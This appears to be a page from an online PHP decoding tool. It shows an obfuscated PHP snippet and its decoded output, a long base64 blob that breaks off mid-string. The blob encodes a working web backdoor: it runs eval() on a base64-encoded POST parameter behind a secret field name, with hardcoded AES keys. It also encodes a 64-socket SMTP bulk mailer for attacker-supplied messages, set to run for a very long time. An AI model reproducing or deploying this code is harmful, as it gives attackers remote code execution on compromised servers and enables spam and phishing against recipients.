Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(eval("\$_d4c2dce976dd88001971a2fec476b7d93bdd123f35205df21bedbe7690cde50c = \x6..

Decoded Output download

\$_d4c2dce976dd88001971a2fec476b7d93bdd123f35205df21bedbe7690cde50c = base64_decode("DQoNCmZ1bmN0aW9uIEFFU19SaWpuZGFlbF9EZWNyaXB0KCRkYXRhKSB7DQogICAgICAgICRrZXkgPSAnZ21BZXRjNEV5ZFdKZzJUY25IMzQnOw0KICAgICAgICAkaXYgPSAnQUhzcTNTQ043dXNKenFMaSc7DQogICAgICAgIHJldHVybiBiYXNlNjRfZGVjb2RlKG1jcnlwdF9kZWNyeXB0KE1DUllQVF9SSUpOREFFTF8xMjgsICRrZXksIGJhc2U2NF9kZWNvZGUoJGRhdGEpLCBNQ1JZUFRfTU9ERV9DQkMsICRpdikpOw0KICAgIH0NCmZ1bmN0aW9uIEFFU19SaWpuZGFlbF9FbmNyaXB0KCRkYXRhKSB7DQogICAgICAgICRrZXkgPSAnZ21BZXRjNEV5ZFdKZzJUY25IMzQnOw0KICAgICAgICAkaXYgPSAnQUhzcTNTQ043dXNKenFMaSc7DQogICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKG1jcnlwdF9lbmNyeXB0KE1DUllQVF9SSUpOREFFTF8xMjgsJGtleSxiYXNlNjRfZW5jb2RlKCRkYXRhKSxNQ1JZUFRfTU9ERV9DQkMsJGl2KSk7ICAgICAgICANCiAgICB9DQoNCmZvcmVhY2ggKCRfUE9TVCBhcyAka2V5ID0+ICR2YWx1ZSl7DQogICRoID0gQUVTX1Jpam5kYWVsX0RlY3JpcHQoYmFzZTY0X2RlY29kZSgkdmFsdWUpKTsNCn0NCg0KDQoNCmlmKCBpc3NldCgkX1BPU1RbJ2lld3E4ZXJ3dWlmZ2poczc0anU4OCddKSApDQp7DQogICAgJGZyb21QZXJzb24gPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnaWV3cThlcnd1aWZnamhzNzRqdTg4J10pOw0KICAgIC8vZWNobyAkZnJvbVBlcnNvbjsNCiAgICAgZXZhbCgkZnJvbVBlcnNvbik7DQogICAgZXhpdDsNCn0NCg0KDQokZnIgPSBleHBsb2RlKCd8JywgJGgpOw0KDQokVFRfVG9fQWRkcmVzcyA9IGJhc2U2NF9kZWNvZGUoJGZyWzBdKTsNCg0KJFRUX1N1YmplY3QgPSBiYXNlNjRfZGVjb2RlKCRmclsxXSk7DQokVFRfQm9keSA9IGJhc2U2NF9kZWNvZGUoJGZyWzJdKTsNCiRUVF9Gcm9tX05hbWUgPSBiYXNlNjRfZGVjb2RlKCRmclszXSk7DQokVFRfRnJvbV9BZGRyZXNzID0gYmFzZTY0X2RlY29kZSgkZnJbNF0pOw0KDQoNCi8vZWNobyAgJFRUX1RvX0FkZHJlc3MgLiAnICAhISEhICcgLiAkVFRfU3ViamVjdCAgLiAnICAhISEhICcgLiAgJFRUX0JvZHkgIC4gJyAgISEhISAnIC4gJFRUX0Zyb21fTmFtZSAuICcgICEhISEgJyAuICRUVF9Gcm9tX0FkZHJlc3M7DQovL2V4aXQ7DQoNCg0KDQoNCg0Kc2V0X3RpbWVfbGltaXQgKCA2NjYwMDAgKTsNCkBpZ25vcmVfdXNlcl9hYm9ydCAodHJ1ZSk7DQoNCmZ1bmN0aW9uIHJhbmRvbV9zdHJpbmcoJGxlbmd0aCkgew0KICAgICRrZXkgPSAnJzsNCiAgICAka2V5cyA9IHJhbmdlKCdhJywgJ3onKTsNCg0KICAgIGZvciAoJGkgPSAwOyAkaSA8ICRsZW5ndGg7ICRpKyspIHsNCiAgICAgICAgJGtleSAuPSAka2V5c1thcnJheV9yYW5kKCRrZXlzKV07DQogICAgfQ0KDQogICAgcmV0dXJuICRrZXk7DQp9DQoNCg0KDQoNCg0KZGVmaW5lKCdDRkdfTlVNX1NPQ0tFVFMnLCA2NCk7DQpkZWZpbmUoJ0NGR19TT0NLX1RJTUVPVVQnLCAzMCk7DQpkZWZpbmUoJ0NGR19TT0NLX1dPUktfVElNRScsIDEyMCk7DQpkZWZpbmUoJ1NNVFBfU1RBVEVfVU5ERUYnLCAwKTsNCmRlZmluZSgnU01UUF9TVEFURV9DT05ORUNUJywgMSk7DQpkZWZpbmUoJ1NNVFBfU1RBVEVfSEVMTycsIDIpOw0KZGVmaW5lKCdTTVRQX1NUQVRFX01BSUxfRlJPTScsIDMpOw0KZGVmaW5lKCdTTVRQX1NUQVRFX1JDUFRfVE8nLCA0KTsNCmRlZmluZSgnU01UUF9TVEFURV9EQVRBJywgNSk7DQpkZWZpbmUoJ1NNVFBfU1RBVEVfQ09OVEVOVCcsIDYpOw0KZGVmaW5lKCdTTVRQX1NUQVRFX1FVSVQnLCA3KTsNCmRlZmluZSgnU01UUF9TVEFUVVNfVU5ERUYnLCAwKTsNCmRlZmluZSgnU01UUF9TVEFUVVNfTFVDS1knLCAxKTsNCmRlZmluZSgnU01UUF9TVEFUVVNfVU5MVUNLWScsIDIpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkRFRklORUQnLCAwKTsNCmRlZmluZSgnTUFJTF9TVEFUVVNfUFJPQ0VTU0lORycsIDEpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19MVUNLWScsIDIpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkxVQ0tZX1RJTUVPVVQnLCAzKTsNCmRlZmluZSgnTUFJTF9TVEFUVVNfVU5MVUNLWV9DT05ORUNUJywgNCk7DQpkZWZpbmUoJ01BSUxfU1RBVFVTX1VOTFVDS1lfSEVMTycsIDUpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkxVQ0tZX01BSUxfRlJPTScsIDYpOw0KZGVmaW5lKCdNQUlMX1NUQVRVU19VTkxVQ0tZX1JDUFRfVE8nLCA3KTsNCmRlZmluZSgnTUFJTF9TVEFUVVNfVU5MVUNLWV9EQVRBJywgOCk7DQpkZWZpbmUoJ01BSUxfU1RBVFVTX1VOTFVDS1lfQ09OVEVOVCcsIDkpOw0KZGVmaW5lKCdQSFBfUVBSSU5UX01BWEwnLCA3NSk7DQpkZWZpbmUoJ1NPQ0tTX0VSUk9SX1NVQ0NFU1MnLCAwKTsNCmRlZmluZSgnU09DS1NfRVJST1JfRkFJTEVEJywgMSk7DQpkZWZpbmUoJ1NPQ0tTX0VSUk9SX1RJTUVPVVQnLCAyKTsNCmRlZmluZSgnRFNfVW5kZWYnLCAwKTsNCmRlZmluZSgnRFNfU2VuZCcsIDEpOw0KZGVmaW5lKCdEU19SZWN2JywgMik7DQpkZWZpbmUoJ0RSX1VuZGVmJywgMCk7DQpkZWZpbmUoJ0RSX1NlbmQnLCAxKTsNCmRlZmluZSgnRFJfUmVjdicsIDIpOw0KZGVmaW5lKCdEUl9UaW1lb3V0JywgMyk7DQpkZWZpbmUoJ0RSX0Nsb3NlJywgNCk7DQpkZWZpbmUoJ0RSX0Vycm9yJywgNSk7DQokZ19hT3BEYXRhICAgICAgID0gYXJyYXkoKTsNCiRnX2FNYWlsRGF0YSAgICAgPSBhcnJheSgpOw0KJGdfaUxvY2tlZE9wcyAgICA9IDA7DQokZ19pRnJlZU1haWxzICAgID0gMDsNCiRnX3NNYWlsSGVhZGVyICAgPSAnJzsNCiRnX3NNYWlsU3ViamVjdCAgPSAnJzsNCiRnX3NNYWlsQm9keSAgICAgPSAnJzsNCiRnX3NNYWlsSGVsbyAgICAgPSAnJzsNCg0KDQoNCg0KJGdfYkRiZ1Jlc3BzICAgICA9IDA7DQoNCg0KDQoNCg0KZnVuY3Rpb24gTWFpbF9Jbml0RGF0YSgpDQp7DQogIGdsb2JhbCAkZ19zTWFpbEhlYWRlciwgJGdfc01haWxTdWJqZWN0LCAkZ19zTWFpbEJvZHk7DQogIA0KICAvLyBGaWxlcw0KDQokbWggPSAnTWVzc2FnZS1JRDogJUJJX01FU1NBR0VfSUQlJyAuIFBIUF9FT0wgLg0KJ0Zyb206ICIlQklfRlJPTV9OQU1FJSIgPCVCSV9GUk9NX0FERFIlPicgLiBQSFBfRU9MIC4NCidUbzogJUJJX1RPX0FERFIlJyAuIFBIUF9FT0wgLg0KJ1N1YmplY3Q6ICVCSV9TVUJKRUNUJScgLiBQSFBfRU9MIC4NCidEYXRlOiAlQklfREFURSUnIC4gUEhQX0VPTCAuDQonTUlNRS1WZXJzaW9uOiAxLjAnIC4gUEhQX0VPTCAuDQonQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogcXVvdGVkLXByaW50YWJsZScgLiBQSFBfRU9MIC4NCidDb250ZW50LVR5cGU6IHRleHQvcGxhaW47IGNoYXJzZXQ9IlVURi04IicgLiBQSFBfRU9MIC4NCicnIC4gUEhQX0VPTCAuDQonJUJJX0JPRFklJzsNCg0KDQoNCg0KJGdfc01haWxIZWFkZXIgID0gJG1oOw0KDQoNCn0NCg0KZnVuY3Rpb24gTWFpbF9NZXNzYWdlSWQoJGRvbWFpbikNCnsNCiAgJGdyMSA9IHNwcmludGYoIiUwM2QiLCByYW5kKCkgJSAxMCk7DQogICRncjIgPSBzcHJpbnRmKCIlMDFYIiwgcmFuZCgpICUgMTYpOw0KICAkZ3IzID0gc3ByaW50ZigiJTA0WCIsIHJhbmQoKSAlIDY1NTM2KTsNCiAgJGdyNCA9IHNwcmludGYoIiUwNFgiLCByYW5kKCkgJSA2NTUzNik7DQogICRncjUgPSBzcHJpbnRmKCIlMDRYIiwgcmFuZCgpICUgNjU1MzYpOw0KICAkZ3I2ID0gc3ByaW50ZigiJTA0WCIsIHJhbmQoKSAlIDY1NTM2KTsNCiAgJGdyNyA9IHNwcmludGYoIiUwNFgiLCByYW5kKCkgJSA2NTUzNik7DQoNCiAgJG1lc3NhZ2VJZCA9ICRncjEuc3RydG9sb3dlcigkZ3IyKS4nMDFjNCcuc3RydG9sb3dlcigkZ3IzKS4nXCQnLg0KICAgIHN0cnRvbG93ZXIoJGdyNCkuc3RydG9sb3dlcigkZ3I1KS4nXCQnLnN0cnRvbG93ZXIoJGdyNikuc3RydG9sb3dlcigkZ3I3KS4nQCcuJGRvbWFpbjsNCg0KICAkYm91bmRhcnkgID0gJy0tLS09X05leHRQYXJ0XzAwMF8nLiRncjEuKHNwcmludGYoIiUwMVgiLCByYW5kKCkgJSAxNikpLidfMDFDNCcuJGdyNy4nLicuJGdyNi4kZ3I1Ow0KDQogIHJldHVybiBhcnJheSgkbWVzc2FnZUlkLCAkYm91bmRhcnkpOw0KfQ0KDQpmdW5jdGlvbiBlY25xdW90ZWQoJHN0cikNCnsNCiAgJGxwID0gMDsNCiAgJHJldCA9ICcnOw0KICAkaGV4ID0gIjAxMjM0NTY3ODlBQkNERUYiOw0KICAkbGVuZ3RoID0gc3RybGVuKCRzdHIpOw0KICAkaW5kZXggPSAwOw0KICAgDQogIHdoaWxlKCRsZW5ndGgtLSkNCiAgew0KICAgIGlmKCgoJGMgPSAkc3RyWyRpbmRleCsrXSkgPT0gIlwwMTUiKSAmJiAoJHN0clskaW5kZXhdID09ICJcMDEyIikgJiYgJGxlbmd0aCA+IDApDQogICAgew0KICAgICAgJHJldCAuPSAiXDAxNSI7DQogICAgICAkcmV0IC49ICRzdHJbJGluZGV4KytdOw0KICAgICAgJGxlbmd0aC0tOw0KICAgICAgJGxwID0gMDsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgIGlmKGN0eXBlX2NudHJsKCRjKSB8fCAob3JkKCRjKSA9PSAweDdmKSB8fCAob3JkKCRjKSAmIDB4ODApIHx8ICgkYyA9PSAnPScpDQogICAgICAgIHx8ICgoJGMgPT0gJyAnKSAmJiAoJHN0clskaW5kZXhdID09ICJcMDE1IikpKQ0KICAgICAgew0KICAgICAgICBpZigoJGxwICs9IDMpID4gUEhQX1FQUklOVF9NQVhMKQ0KICAgICAgICB7DQogICAgICAgICAgJHJldCAuPSAnPSc7DQogICAgICAgICAgJHJldCAuPSAiXDAxNSI7DQogICAgICAgICAgJHJldCAuPSAiXDAxMiI7DQogICAgICAgICAgJGxwID0gMzsNCiAgICAgICAgfQ0KICAgICAgICAkcmV0IC49ICc9JzsNCiAgICAgICAgJHJldCAuPSAkaGV4W29yZCgkYykgPj4gNF07DQogICAgICAgICRyZXQgLj0gJGhleFtvcmQoJGMpICYgMHhmXTsNCiAgICAgIH0NCiAgICAgIGVsc2UNCiAgICAgIHsNCiAgICAgICAgaWYoKCsrJGxwKSA+IFBIUF9RUFJJTlRfTUFYTCkNCiAgICAgICAgew0KICAgICAgICAgICRyZXQgLj0gJz0nOw0KICAgICAgICAgICRyZXQgLj0gIlwwMTUiOw0KICAgICAgICAgICRyZXQgLj0gIlwwMTIiOw0KICAgICAgICAgICRscCA9IDE7DQogICAgICAgIH0NCiAgICAgICAgJHJldCAuPSAkYzsNCiAgICAgIH0NCiAgICB9DQogIH0NCg0KICByZXR1cm4gJHJldDsNCn0NCg0KZnVuY3Rpb24gTWFpbF9HZW5lcmF0ZSgmJGhlYWRlciwgJG1haWxUbywgJGZyb21OYW1lLCAkZnJvbUFkZHIpDQp7DQogIGdsb2JhbCAkZ19zTWFpbEhlYWRlciwgJGdfc01haWxTdWJqZWN0LCAkZ19zTWFpbEJvZHk7DQoNCiAgZ2xvYmFsICRUVF9TdWJqZWN0Ow0KICBnbG9iYWwgJFRUX0JvZHk7DQogIA0KICANCiAgJGRhdGUgICAgICA9IGRhdGUoIkQsIGogTSBZIEg6aTpzIE8iKTsNCg0KDQogICRzdWJqZWN0ID0gJFRUX1N1YmplY3Q7DQogICRib2R5ID0gJFRUX0JvZHk7DQoNCg0KICAkYm9keSAgICAgID0gZWNucXVvdGVkKCRib2R5KTsNCiAgJGJvZHkgICAgICA9IHByZWdfcmVwbGFjZSgnL1xyXG5cLlxyXG4vJywgIlxyXG4uLlxyXG4iLCAkYm9keSk7DQogIA0KICBsaXN0KCRtZXNzYWdlSWQsICRib3VuZGFyeSkgPSBNYWlsX01lc3NhZ2VJZCgkZnJvbUFkZHIpOw0KDQogICRoZWFkZXIgPSAkZ19zTWFpbEhlYWRlcjsNCiAgDQogIC8vIFN0YW5kYXJkIG1hY3Jvcw0KICAkaGVhZGVyID0gcHJlZ19yZXBsYWNlKCcvJUJJX0RBVEUlLycsICRkYXRlLCAkaGVhZGVyKTsNCiAgJGhlYWRlciA9IHByZWdfcmVwbGFjZSgnLyVCSV9UT19BRERSJS8nLCAkbWFpbFRvLCAkaGVhZGVyKTsNCiAgJGhlYWRlciA9IHByZWdfcmVwbGFjZSgnLyVCSV9NRVNTQUdFX0lEJS8nLCAkbWVzc2FnZUlkLCAkaGVhZGVyKTsNCiAgJGhlYWRlciA9IHByZWdfcmVwbGFjZSgnLyVCSV9TVUJKRUNUJS8nLCAkc3ViamVjdCwgJGhlYWRlcik7DQogICRoZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy8lQklfRlJPTV9OQU1FJS8nLCAkZnJvbU5hbWUsICRoZWFkZXIpOw0KICAkaGVhZGVyID0gcHJlZ19yZXBsYWNlKCcvJUJJX0ZST01fQUREUiUvJywgJGZyb21BZGRyLCAkaGVhZGVyKTsNCiAgJGhlYWRlciA9IHByZWdfcmVwbGFjZSgnLyVCSV9CT0RZJS8nLCAkYm9keSwgJGhlYWRlcik7DQogIA0KICAkaGVhZGVyIC49ICJcclxuLlxyXG4iOw0KfQ0KDQoNCg0KDQpmdW5jdGlvbiBXb3JrZXJfR2V0U210cFN0YXR1cygkc3RhdGUsICRjb2RlKQ0Kew0KICBzd2l0Y2goJHN0YXRlKQ0KICB7DQogICAgY2FzZSBTTVRQX1NUQVRFX0NPTk5FQ1Q6DQogICAgICBpZigkY29kZSA9PSAyMjApDQogICAgICAgIHJldHVybiBTTVRQX1NUQVRVU19MVUNLWTsNCiAgICAgIGJyZWFrOw0KDQogICAgY2FzZSBTTVRQX1NUQVRFX0hFTE86DQogICAgICBpZigkY29kZSA9PSAyNTApDQogICAgICAgIHJldHVybiBTTVRQX1NUQVRVU19MVUNLWTsNCiAgICAgIGJyZWFrOw0KDQogICAgY2FzZSBTTVRQX1NUQVRFX01BSUxfRlJPTToNCiAgICAgIGlmKCRjb2RlID09IDI1MCkNCiAgICAgICAgcmV0dXJuIFNNVFBfU1RBVFVTX0xVQ0tZOw0KICAgICAgYnJlYWs7DQoNCiAgICBjYXNlIFNNVFBfU1RBVEVfUkNQVF9UTzoNCiAgICAgIGlmKCRjb2RlID09IDI1MCkNCiAgICAgICAgcmV0dXJuIFNNVFBfU1RBVFVTX0xVQ0tZOw0KICAgICAgaWYoJGNvZGUgPT0gMjUxKQ0KICAgICAgICByZXR1cm4gU01UUF9TVEFUVVNfTFVDS1k7DQogICAgICBicmVhazsNCg0KICAgIGNhc2UgU01UUF9TVEFURV9EQVRBOg0KICAgICAgaWYoJGNvZGUgPT0gMzU0KQ0KICAgICAgICByZXR1cm4gU01UUF9TVEFUVVNfTFVDS1k7DQogICAgICBicmVhazsNCg0KICAgIGNhc2UgU01UUF9TVEFURV9DT05URU5UOg0KICAgICAgaWYoJGNvZGUgPT0gMjUwKQ0KICAgICAgICByZXR1cm4gU01UUF9TVEFUVVNfTFVDS1k7DQogICAgICBicmVhazsNCg0KICAgIGNhc2UgU01UUF9TVEFURV9RVUlUOg0KICAgICAgaWYoJGNvZGUgPT0gMjIxKQ0KICAgICAgICByZXR1cm4gU01UUF9TVEFUVVNfTFVDS1k7DQogICAgICBicmVhazsNCiAgfQ0KDQogIHJldHVybiBTTVRQX1NUQVRVU19VTkxVQ0tZOw0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9Jbml0RGF0YSgpDQp7DQogIGdsb2JhbCAkZ19hTWFpbERhdGE7DQogIGdsb2JhbCAkZ19pRnJlZU1haWxzOw0KICBnbG9iYWwgJGdfYU9wRGF0YTsNCiAgZ2xvYmFsICRnX3NNYWlsSGVsbzsNCiAgZ2xvYmFsICRUVF9Ub19BZGRyZXNzOw0KDQoNCg0KICAkZGF0YSA9IGFycmF5KCdzZXJ2ZXInICAgID0+IDAsDQogICAgICAgICAgICAgICAgJ21haWwnICAgICAgPT4gJycsDQogICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gTUFJTF9TVEFUVVNfVU5ERUZJTkVEKTsNCiAgJG1haWxzID0gZXhwbG9kZSgifiIsICRUVF9Ub19BZGRyZXNzKTsNCi8vZWNobyAgJFRUX1RvX0FkZHJlc3M7DQogIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJG1haWxzKTsgKyskaSkNCiAgew0KICAgICRwYXJ0cyA9IGV4cGxvZGUoIjoiLCAkbWFpbHNbJGldKTsNCg0KICAgICRkYXRhWydzZXJ2ZXInXSA9ICRwYXJ0c1swXTsNCi8vZWNobyAgJyAgJyAuICAkZGF0YVsnc2VydmVyJ10gLiAnICAnOw0KDQogICAgJGRhdGFbJ21haWwnXSAgID0gJHBhcnRzWzFdOw0KLy9lY2hvICAnICAnIC4gICRkYXRhWydtYWlsJ10gLiAnICAnOw0KICAgICRkYXRhWydpbmRleCddICA9IA0KICAgICRnX2FNYWlsRGF0YVtdID0gJGRhdGE7DQogICAgKyskZ19pRnJlZU1haWxzOw0KICB9DQogLy8gJGdfc01haWxIZWxvID0gJF9QT1NUWydoZWxvJ107DQogICAgJGdfc01haWxIZWxvID0gcmFuZG9tX3N0cmluZyg4KTsNCi8vICAgICRnX3NNYWlsSGVsbyA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOw0KDQogIA0KDQogICRkYXRhID0gYXJyYXkoJ3NvY2tldCcgICAgID0+IE5VTEwsDQogICAgICAgICAgICAgICAgJ3NlbmRCdWZmZXInID0+ICcnLA0KICAgICAgICAgICAgICAgICdyZWN2QnVmZmVyJyA9PiAnJywNCiAgICAgICAgICAgICAgICAnbGV0dGVyJyAgICAgPT4gJycsDQogICAgICAgICAgICAgICAgJ21haWxJbmRleCcgID0+IDAsDQogICAgICAgICAgICAgICAgJ3NtdHBTdGF0ZScgID0+IFNNVFBfU1RBVEVfVU5ERUYsDQogICAgICAgICAgICAgICAgJ2RhdGFTdGF0ZScgID0+IERTX1VuZGVmLA0KICAgICAgICAgICAgICAgICdyZXNwb25zZScgICA9PiAnJywNCiAgICAgICAgICAgICAgICAnc3RhcnRUaW1lJyAgPT4gdGltZSgpLA0KICAgICAgICAgICAgICAgICdsYXN0VGltZScgICA9PiAwKTsNCiAgZm9yKCRpID0gMDsgJGkgPCBDRkdfTlVNX1NPQ0tFVFM7ICsrJGkpDQogIHsNCiAgICAkZGF0YVsnaW5kZXgnXSA9ICRpOw0KICAgICRnX2FPcERhdGFbXSA9ICRkYXRhOw0KICB9DQp9DQoNCg0KZnVuY3Rpb24gV29ya2VyX0dldE1haWwoKQ0Kew0KICBnbG9iYWwgJGdfYU1haWxEYXRhOw0KICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRnX2FNYWlsRGF0YSk7ICsrJGkpDQogIHsNCiAgICAkbWFpbCA9ICYkZ19hTWFpbERhdGFbJGldOw0KICAgIGlmKCRtYWlsWydzdGF0dXMnXSA9PSBNQUlMX1NUQVRVU19VTkRFRklORUQpDQogICAgew0KICAgICAgJG1haWxbJ3N0YXR1cyddID0gTUFJTF9TVEFUVVNfUFJPQ0VTU0lORzsNCiAgICAgIHJldHVybiBhcnJheSgkaSwgJG1haWxbJ3NlcnZlciddKTsNCiAgICB9DQogIH0NCiAgcmV0dXJuIGFycmF5KC0xLCAwKTsNCn0NCg0KZnVuY3Rpb24gV29ya2VyX1B1dE1haWwoJGluZGV4LCAkc3RhdHVzKQ0Kew0KICBnbG9iYWwgJGdfYU1haWxEYXRhOw0KICBnbG9iYWwgJGdfaUZyZWVNYWlsczsNCiAgZ2xvYmFsICRnX2lMb2NrZWRPcHM7DQogIA0KICAkbWFpbCA9ICYkZ19hTWFpbERhdGFbJGluZGV4XTsNCiAgaWYoJG1haWxbJ3N0YXR1cyddID09IE1BSUxfU1RBVFVTX1BST0NFU1NJTkcpDQogIHsNCiAgICAkbWFpbFsnc3RhdHVzJ10gPSAkc3RhdHVzOw0KICAgIC0tJGdfaUZyZWVNYWlsczsNCiAgfQ0KfQ0KDQoNCmZ1bmN0aW9uIFdvcmtlcl9TZXRTdGF0ZXMoJiRvcERhdGEsICRzbXRwU3RhdGUsICRkYXRhU3RhdGUpDQp7DQogICRvcERhdGFbJ3NtdHBTdGF0ZSddICA9ICRzbXRwU3RhdGU7DQogICRvcERhdGFbJ2RhdGFTdGF0ZSddICA9ICRkYXRhU3RhdGU7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9TZW5kSGVsbygmJG9wRGF0YSkNCnsNCiAgZ2xvYmFsICRnX3NNYWlsSGVsbzsNCiAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX0hFTE8sIERTX1NlbmQpOw0KDQogICRvcERhdGFbJ3NlbmRCdWZmZXInXSAgPSAiRUhMTyAiOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gLj0gJGdfc01haWxIZWxvOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gLj0gIlxyXG4iOw0KICANCiAgcmV0dXJuIERSX1NlbmQ7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9TZW5kTWFpbEZyb20oJiRvcERhdGEpDQp7DQogIGdsb2JhbCAkZ19hTWFpbERhdGE7DQogIGdsb2JhbCAkVFRfRnJvbV9OYW1lOw0KICBnbG9iYWwgJFRUX0Zyb21fQWRkcmVzczsNCg0KICAkbWFpbCA9ICYkZ19hTWFpbERhdGFbJG9wRGF0YVsnbWFpbEluZGV4J11dOw0KDQokZnJvbU5hbWUgPSAkVFRfRnJvbV9OYW1lOw0KJGZyb21BZGRyID0gJFRUX0Zyb21fQWRkcmVzczsNCg0KLy9lY2hvICAkZnJvbU5hbWUgLiAnICMgJyAuICRmcm9tQWRkcjsNCg0KTWFpbF9HZW5lcmF0ZSgkb3BEYXRhWydsZXR0ZXInXSwgJG1haWxbJ21haWwnXSwgJGZyb21OYW1lLCAkZnJvbUFkZHIpOw0KDQoNCiAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX01BSUxfRlJPTSwgRFNfU2VuZCk7DQogICRvcERhdGFbJ3NlbmRCdWZmZXInXSAgPSAiTUFJTCBGUk9NOjwiOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gLj0gJGZyb21BZGRyOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gLj0gIj5cclxuIjsNCg0KICByZXR1cm4gRFJfU2VuZDsNCn0NCg0KZnVuY3Rpb24gV29ya2VyX1NlbmRRdWl0KCYkb3BEYXRhLCAkbWFpbFN0YXR1cykNCnsNCiAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX1FVSVQsIERTX1NlbmQpOw0KICAkb3BEYXRhWydzZW5kQnVmZmVyJ10gID0gIlFVSVRcclxuIjsNCiAgJG9wRGF0YVsnc2VuZFNpemUnXSAgICA9IHN0cmxlbigkb3BEYXRhWydzZW5kQnVmZmVyJ10pOw0KICBXb3JrZXJfUHV0TWFpbCgkb3BEYXRhWydtYWlsSW5kZXgnXSwgJG1haWxTdGF0dXMpOw0KICByZXR1cm4gRFJfU2VuZDsNCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfRGlzcGF0Y2hDb25uZWN0KCYkb3BEYXRhLCAkc3RhdGUpDQp7DQogIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9DT05ORUNULCBEU19SZWN2KTsNCiAgcmV0dXJuIERSX1JlY3Y7DQp9DQoNCmZ1bmN0aW9uIFdvcmtlcl9EaXNwYXRjaFNlbmQoJiRvcERhdGEpDQp7DQogICRzbXRwU3RhdGUgPSAkb3BEYXRhWydzbXRwU3RhdGUnXTsNCiAgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX0hFTE8pDQogICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX0hFTE8sIERSX1JlY3YpOw0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9NQUlMX0ZST00pDQogICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX01BSUxfRlJPTSwgRFJfUmVjdik7DQogIGVsc2UgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX1JDUFRfVE8pDQogICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX1JDUFRfVE8sIERSX1JlY3YpOw0KICBlbHNlIGlmKCRzbXRwU3RhdGUgPT0gU01UUF9TVEFURV9EQVRBKQ0KICAgIFdvcmtlcl9TZXRTdGF0ZXMoJG9wRGF0YSwgU01UUF9TVEFURV9EQVRBLCBEUl9SZWN2KTsNCiAgZWxzZSBpZigkc210cFN0YXRlID09IFNNVFBfU1RBVEVfQ09OVEVOVCkNCiAgICBXb3JrZXJfU2V0U3RhdGVzKCRvcERhdGEsIFNNVFBfU1RBVEVfQ09OVEVOVCwgRFJfUmVjdik7DQogIGVsc2UgaWYoJHNtdHBTdGF0ZSA9PSBTTVRQX1NUQVRFX1FVSVQpDQogICAgV29ya2VyX1NldFN0YXRlcygkb3BEYXRhLCBTTVRQX1NUQVRFX1FVSVQsIERSX1JlY3YpOw0KICByZXR1cm4gRFJfUmVjdjsNCn0NCg0KDQpmdW5jdGlvbiBXb3JrZXJfR2V0UmVwbHlDb2RlKCRyZXNwb3NlKQ0Kew0KICAkcmVwbHkgPSAwOw0KICAkbGluZXMgPSBleHBsb2RlKCJcclxuIiwgJHJlc3Bvc2UpOw0KICAkbnVtTGluZXMgPSBjb3VudCgkbGluZXMpOw0KICBpZigkbnVtTGluZXMgPj0gMikNCiAgew0KICAgIC8vIENoZWNoICJcclxuIiBhdCB0aGUgZW5kDQogICAgaWYoJGxpbmVzWyRudW1MaW5lcyAtIDFdICE9ICcnKQ0KICAgICAgcmV0dXJuICRyZXBseTsNCiAgICANCiAgICAvLyBHZXQgcmVwbHkNCiAgICBpZihwcmVnX21hdGNoKCcvXihcZFxkXGQpJC8nLCAkbGluZXNbJG51bUxpbmVzIC0gMl0sICRtYXRjaGVzKSkNCiAgICAgICRyZXBseSA9IChpbnQpJG1hdGNoZXNbMF07DQogICAgZWxzZSBpZihwcmVnX21hdGNoKCcvXihcZFxkXGQpIC4qLycsICRsaW5lc1skbnVtTGluZXMgLSAyXSwgJG1hdGNoZXMpKQ0KICAgICAgJHJlcGx5ID0gKGludCkkbWF0Y2hlc1swXTsNCiAgfQ0KICByZXR1cm4gJHJlcGx5Ow0KfQ0KDQpmdW5jdGlvbiBXb3JrZXJfRGlzcGF0Y2hSZWN2KCYkb3BEYXRhKQ0Kew0KICBnbG9iYWwgJGdfYU1haWxEYXRhLCAkZ19iRGJnUmVzcHM7DQogIA0KICAvLyBTZXJ2ZXIgcmVwbHkNCiAgJHJlcGx5ID0gV29ya2VyX0dldFJlcGx5Q29kZSgkb3BEYXRhWydyZWN2QnVmZmVyJ10pOw0KICBpZigkcmVwbHkgPT0gMCkNCiAgICByZXR1cm4gRFJfUmVjdjsNCg0KICAkc3RhdHVzID0gRFJfRXJyb3I7DQogICRzbXRwU3RhdGUgID0gJG9wRGF0YVsnc210cFN0YXRlJ107DQogICRzbXRwU3RhdHVzID0gV29ya2VyX0dldFNtdHBTdGF0dXMoJHNtdHBTdGF0ZSwgJHJlcGx5KTsNCg0KICBpZigkZ19iRGJnUmVzcHMgJ